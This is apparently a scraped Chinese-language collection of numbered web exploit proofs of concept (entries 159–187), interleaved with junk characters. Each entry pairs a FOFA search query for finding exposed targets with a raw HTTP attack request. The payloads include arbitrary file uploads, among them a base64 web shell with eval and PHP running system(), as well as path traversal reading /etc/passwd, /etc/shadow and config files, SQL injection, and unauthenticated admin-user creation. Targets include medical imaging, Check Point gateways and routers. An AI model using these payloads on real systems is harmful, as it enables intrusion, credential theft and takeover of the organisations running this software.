( |) p1 n) ?. H1 y! D! D' ~Content-Type: application/x-www-form-urlencoded
# X0 P4 d- Q( M0 e% o1 X
object=displayregion&contenthistid=x\'&previewid=1


: H9 i8 j# i* @; c  |159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
% z# W2 i1 Q, U6 bFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
4 g& Y  W( v7 s  UPOST /webservices/WebJobUpload.asmx HTTP/1.1
6 S% w1 M- U5 n+ J- J+ MHost: x.x.x.x
9 C# C" Q0 V. o5 M, v' _! IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
" a& w# @& m: XAccept-Encoding: gzip, deflate
, d; H; ?4 c1 d- c2 tConnection: close
Content-Type: text/xml; charset=utf-8
5 b8 `8 T1 p+ K# ESoapaction: "http://rainier/jobUpload"
% }% Z2 K' k/ k1 f/ H6 P8 J' k9 h
$ x& c4 b! Z* S" C<?xml version="1.0" encoding="utf-8"?>
7 _! ]5 Z$ ^1 C  t0 n2 j4 L<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
0 k# P/ E7 e/ o( T<soap:Body>
<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
/ }/ y% \4 f8 J% W. Z<subFolder></subFolder>
$ `; S$ u+ A! p% \) T& \& ]<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
7 e1 _1 S0 n: n4 `# C" i6 H</soap:Body>
; p# }# |( F  c$ Y</soap:Envelope>
, u. @8 y8 Y; F. o

# j: }7 D* E/ `$ }# M* t/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

0 {) ]. ?- X% E. [- S
160. Sonatype Nexus Repository 3目录遍历与文件读取
2 \- C6 p& a# E# m: L4 bCVE-2024-4956
FOFA：title="Nexus Repository Manager"
% N4 p1 ?' d& w. c$ b0 ^% KGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
7 q3 u) }) i7 P" o1 X. P: I* D2 SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
4 y/ A/ i  Q6 r' L- Q& m4 V$ NAccept: */*
3 G8 V- \' J, X% iAccept-Language: en
Accept-Encoding: gzip


0 G4 h, Z9 O) r' M161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
3 D: d1 X4 f5 ]- {FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
: |2 \0 f, n7 c# p" m3 dHost: x.x.x.x
( b: o& ?1 I7 z. bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
, \7 l0 W/ Y" G8 P' t: @' M) `Content-Length: 445
Content-Type: text/xml
1 Y; ~: t. e5 s6 p6 w1 C. M1 XAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
$ a$ g: o; @9 Z, O6 _" mhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
7 ]# Z% d% k1 b8 L$ p3 n) K" @& z5 Fxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
: L  T& Z) m4 \: J2 O<soap:Body>
* X/ k! S( ~  I- {* ?# r<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
* x8 K  y- R5 Y: E# A% I% ^8 f* j<fileName>../../../../dizxdell.aspx</fileName>
5 Q0 M, o" Q8 j, v8 t9 w+ i<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
* @, m9 C# B  ?% u0 w</UploadResume>
</soap:Body>
</soap:Envelope>

9 c5 t8 j2 ?( C
7 ]2 a2 _0 G+ e# ~http://x.x.x.x/dizxdell.aspx
6 A! f$ L- F0 u+ s1 s6 d  U. I
8 I( {' ^7 L7 R! k! C1 S162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
; N. x) G7 L0 O4 z+ e6 x1 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
$ d3 t- F1 w5 RContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
2 |$ f3 o! Y# \# T% B9 VAccept-Encoding: gzip
# R1 t8 t1 N2 B' F
; g8 r+ n' z2 u% J! P' G------WebKitFormBoundaryeegvclmyurlotuey
* _% M& O* C  p* g; T5 TContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
( S- [, ?0 n7 T, A( I6 n% GContent-Type: application/octet-stream
) S0 e! u! w  V+ ^$ n  |" \. a
<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
) f) z& f" @7 q+ y/ q2 A3 k
: B8 r/ Q, P3 ], V) s( Lupload
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"

( S1 k/ A' I# [ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
0 ?5 F# T7 }5 |: E
7 E5 Z5 z9 {3 Q/ T
http://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
. w6 H9 G8 j- R& [FOFA: icon_hash="-795291075"
! j+ d7 w- I- F5 \POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
  E+ T3 g/ Z3 S( T% h) r% k: sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
9 G1 ^0 l& B8 P' n! R: G0 a* a- C( T4 @Content-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
7 v8 q4 q* `& B" P) ?Accept-Language: zh-CN,zh;q=0.9
5 b- W3 I+ }" [1 _Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
! q/ U" U9 U5 l* r
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
  q, s; n. C$ y: E) ^
& i' g9 @% V# i+ m  d: D1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
' k; e! R. F* o# N) DContent-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg
  d1 i# ]# G) Y9 s
. R! C& P% l4 z- [1 Jrvjhvbhwwuooyiioxega
% J6 _$ |) d  o# M------iiqvnofupvhdyrcoqyuujyetjvqgocod--

0 s0 b- ]5 I. l  l/ R/ H
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
; J6 {+ p& @# z, g9 QHost: x.x.x.x
5 |5 ~$ e' t. l/ e+ w- H0 FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
7 I; Y% m/ J! r% rContent-Length: 288
  _( J3 ?0 ]- C. f3 eAccept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
& v4 F6 d' H. e7 IConnection: close
) D( \  f# N! B7 M; D' wContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
9 {% s8 n( k5 s0 [# Q6 mX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

, v9 @0 D- N/ F. k& M3 [0 ~------dqdaieopnozbkapjacdbdthlvtlyl
7 W+ r8 ?! i  q6 I) s) D2 JContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
/ [( Y% o9 [+ B$ a+ n' [* GContent-Type: image/jpeg
2 c+ N; [7 c& v1 L! P  s+ T3 I
* v3 d# l( p' [: }+ e- m& S<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
4 e/ I5 ~6 c) j7 B6 E7 @, y------dqdaieopnozbkapjacdbdthlvtlyl--
" ~% I# i: U/ f) F
, T# c  T6 R" _# I: m
" k& \9 m0 ]) y) lhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
" o/ d9 Q9 v- i0 A& K& }! N: j
165. OrangeHRM 3.3.3 SQL 注入
8 v) \. D9 Z/ ?7 t# U2 X5 JCVE-2024-36428
FOFA: app="OrangeHRM-产品"
' F+ c' C+ y) ?( G1 R3 x# p6 QURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
: T8 }; a* m2 F+ M
$ }+ H+ t1 x( j2 j. x
166. 中成科信票务管理平台SeatMapHandler SQL注入
6 W1 _) @6 z6 ^* C, \: M3 N& T' xFOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
, \7 h. m5 n9 H4 y. u3 ]1 Y, a  FCache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ i( G/ z; a* `+ dAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
+ k# ]5 Z+ H) n( ]' nConnection: close
Content-Type: application/x-www-form-urlencoded
3 |! r6 O1 O: P' Q  t0 WContent-Length: 89

/ i) R- M7 X" lMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
7 M, W0 I5 O9 u# K1 P

/ J; t# m% q/ ], V167. 精益价值管理系统 DownLoad.aspx任意文件读取
$ @( S7 E2 G& {7 x$ ^FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
( h* `, A; M) ^1 L0 ?- pHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ H6 _/ v* e7 }( \Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
3 i7 A7 v: s: y6 }; K2 ?  zAccept: */*
Connection: keep-alive
1 n' M8 G  W- a3 X3 c7 a% ~
( P! g8 G4 c9 A
168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
" N0 i) o3 x4 t. w9 Q& TGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close

9 T% p& o- q: D* I# w

169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
$ Z! Y7 I8 l* B! BAccept-Encoding: gzip, deflate
/ f. t- z0 I9 d% ^: U# m( \Connection: close


* {6 c; Z) Z# H) p
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
( l* u7 d6 {6 l8 B0 yFOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
+ C1 C( g4 x% S9 s# s  NUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
, j! O+ l2 S; [Content-Type: application/x-www-form-urlencoded

! B1 Q+ U! I/ _filename=../webapps/ROOT/WEB-INF/web.xml
3 s& n+ O# n6 S) q9 A

3 j. Q3 i$ e" k171. 通天星CMSV6车载定位监控平台 SQL注入
9 [6 t8 a& f8 O6 M( D7 m: o) k5 }4 x; qFOFA：body="/808gps/"
8 `0 e+ C+ D) v( ^' A8 AGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
: @2 U* M7 }4 M. k2 d1 G% p& d- b; JHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
- I' L3 {+ l1 s9 x3 `, Q7 XAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close

& m4 s9 V# \- y1 m% C6 w

172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
' `# H9 I/ J: VGET /../../../../etc/passwd HTTP/1.1
% D. n" n8 |/ @7 k3 X, @6 BHost: your-ip
. X3 s3 s' w3 T: _8 ^! R3 Y2 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
- C' q3 Z9 r7 h- E' J- ]$ H! u+ r& \. _Accept: */*
; ^: g& k; m6 s) h4 d0 X& h; X( AConnection: keep-alive



0 Q: E! R6 j3 _! X, {( r% e" |173. Check Point 安全网关任意文件读取
" ~& n; O2 V4 sCVE-2024-24919
% f( _3 D8 G) p: P9 b& X( z5 b) dFOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
; n8 P( O: W3 D! ?7 xHost: your-ip
6 b2 }( K3 d! K  ?0 a+ E- p, i! [Content-Type: application/x-www-form-urlencoded

, S6 }% \" B8 J' ]" K  _  paCSHELL/../../../../../../../etc/shadow

4 ?! ?4 u* {, W3 M& t

/ h* I) S, G( n2 ?9 F" f174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
4 [) u" z* c  u8 q9 A, u' v  ?Connection: close

; T$ e3 L) Y4 G  D5 r. M

/ X0 Y& t) O" G175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
% i. y2 m' }! X3 j' uHost:
9 V4 w! A* O8 l* }  WUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
* `9 q+ d  B5 o  \% kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& \# s: @8 K$ `3 u* }/ DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, U3 z! Y! @, I1 `; zAccept-Encoding: gzip, deflate
3 T- n# ~! Q, g! {8 q4 IConnection: close
. p. ^0 j7 [1 n" @2 b0 }Upgrade-Insecure-Requests: 1


176. 电信网关配置管理系统 rewrite.php 文件上传
! m& U) b1 o8 @FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
4 t( ?( O6 x0 s0 r+ KContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

------WebKitFormBoundaryOKldnDPT
* l: g" Y: u& H* O  i/ x+ UContent-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

2 ~3 W* |: q3 p' J2 k3 V& U; G<?php system("cat /etc/passwd");unlink(__FILE__);?>
, ~3 |) G3 @$ C! ^' n------WebKitFormBoundaryOKldnDPT
4 S: p5 X) B# Z! SContent-Disposition: form-data; name="uploadtime"


3 k1 L4 R$ }: U; X  ^8 _------WebKitFormBoundaryOKldnDPT--



177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
! A4 ]4 f( p4 U/ t# m/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
' [) F6 _# q& k5 K/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
0 Q: G; X' V, C- ~& L- ]4 u3 N* F/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
2 v/ h7 X( `+ G2 E* J* ?2 R/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
' F) Z1 ^8 }- O) |" n6 d5 y; s/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
- T& }9 _$ ?# M& }8 U/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
- k7 @! o% \9 s8 k7 j/userLogin.asp/../actionpolicy_status/../ER3100.cfg
( ^# x  w+ Q" c% \' l" [/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
0 a- W, @7 e( ?1 {. ~6 p! X
2 G9 ?8 p% M' F, W' y  _1 F9 D
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
1 I# k! E6 R+ G" \. k' a' \8 V5 r' cFOFA：header="/selfservice"
* g1 l6 l* i- J" Q/ }; ePOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
/ w7 [- S4 \) \% v2 k& t( U- vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
3 U( w) I5 [) v/ P9 M4 wAccept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
& {: d, q" @* W6 g-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
1 h" e  g7 ^5 r2 F& h9 Z2 r/ A, iContent-Type: application/octet-stream
Content-Length: 255
" t0 J/ C# O& }. m0 d( I
$ E+ C3 u" q# Y1 c2 @' _( W12234
& u# C9 b* _5 S$ O  }( o-----------------aqutkea7vvanpqy3rh2l--
7 X, J3 U% R% G2 B8 F' s$ S( o
7 Y! Y* Y8 G0 U( f2 A. [
/ K% s- Q0 v: `6 W  AGET /imc/primepush/%2e%2e/flex/12234.txt
2 G7 q! F7 y  n. x! d9 P2 I& T

+ B2 I; v, m- g, O& X. m1 {179. 建文工程管理系统存在任意文件读取
7 n6 K8 [* Q7 W( k5 M1 V* P( HPOST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
( c6 e  d+ h' ?" O, O% Y3 RContent-Type: application/x-www-form-urlencoded
/ W! Q# G$ M! ?- NUser-Agent: Mozilla/5.0

path=../log4net.config&Name=


180. 帮管客 CRM jiliyu SQL注入
% b. }8 \: m+ rFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
7 E( C; T2 c+ O! A8 }Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+ t( s2 K  f0 p7 ~* z) C* A2 UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& R9 ~& W6 I' j# nAccept-Encoding: gzip, deflate
0 v; u1 |. \/ o. D- z- u7 _% sAccept-Language: zh-CN,zh;q=0.9
5 ]2 Z' e) j- A& O, G3 IConnection: close
' G" S; @: j- t7 c2 P" L# |1 D

6 d8 F* \& n' l# N4 Z181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
1 \, @' j; A; B- r( I- Q: V, uPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
  L, j, K/ p: c1 O# N- G2 zHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: F: L; k# z% `$ o7 q1 EAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded


action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
! n0 U$ k& B$ S3 \0 L( N
$ W- v7 P- v0 ]6 L# a
1 M- K- T. X- g9 @182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
! S$ S9 B' J7 x# [3 WFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
  K2 _5 S& N- O9 z3 T* R! PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 x# I* t% e8 r+ H/ o! sAccept-Encoding: gzip, deflate, br
! C" c6 L) C" U3 y! x/ WAccept-Language: zh-CN,zh;q=0.9
  O* w$ g) P+ qConnection: close
Content-Type: application/x-www-form-urlencoded


username=test1234&pwd=test1234&savedays=1

# B2 @* `# U# M! h
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
3 F; x/ e( V" jFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
. F, w1 ?- Y- uGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
8 R% P, j- }7 K9 E. @User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
; P5 b  C; j8 C* c. \Accept-Encoding: gzip, deflate
1 }- W; T" L8 @/ H: H. hConnection: close
: {9 q4 Z5 b0 A0 V+ ?0 X" _

184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
( W* Z8 n" F1 G, z* @FOFA：server="SunFull-Webs"
; A1 J: Q, O" s4 p( ^" ~POST /soap/AddUser HTTP/1.1
  h7 [! \; K* X/ q! {8 `Host: your-ip
Accept-Encoding: gzip, deflate
% @, a7 E0 O# H' A7 W$ Q% g  OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
( A5 ^8 Z' k9 |; h2 t6 T7 yAccept: application/xml, text/xml, */*; q=0.01
) M' [2 v, o, G1 E: Y7 CContent-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest


7 s+ W2 W6 b" F) ~/ `insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
# u8 O4 P4 k7 q. K* }# |  t
! n& t+ w, t) d8 V( k
185. 瑞友天翼应用虚拟化系统SQL注入
: e4 H) {7 K$ s4 bversion < 7.0.5.1
" z! v: K% S/ s% c: C* H0 ZFOFA：app="REALOR-天翼应用虚拟化系统"
8 `9 w* h9 ?: W' T3 e) nGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
2 x# Q. P8 `$ N) }2 r5 G
+ s3 r8 R4 U3 A$ U, R
, ^0 ^2 u5 t. }0 h, \4 f8 R1 Y: e186. F-logic DataCube3 SQL注入
CVE-2024-31750
4 @  t" u# r& _" hF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
0 C) [" @7 d* A( a7 A& CFOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
4 ?- p) p3 e* y" S; v( Q4 XHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
- U: L2 K- D9 H, E& _& yConnection: close
% c' P( I5 S( [; d# g9 p( mContent-Type: application/x-www-form-urlencoded

4 t) }: _/ s5 ~, preq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


* y0 A) e2 Y3 z0 @) M& H187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
8 z1 E2 r0 D+ @! I/ @0 a4 aFOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
% u9 f/ z( B8 [' M- z1 D0 z. p; K0 BContent-Type: application/x-www-form-urlencoded

# ]9 ]* Q7 t8 E2 M0 V# K' e
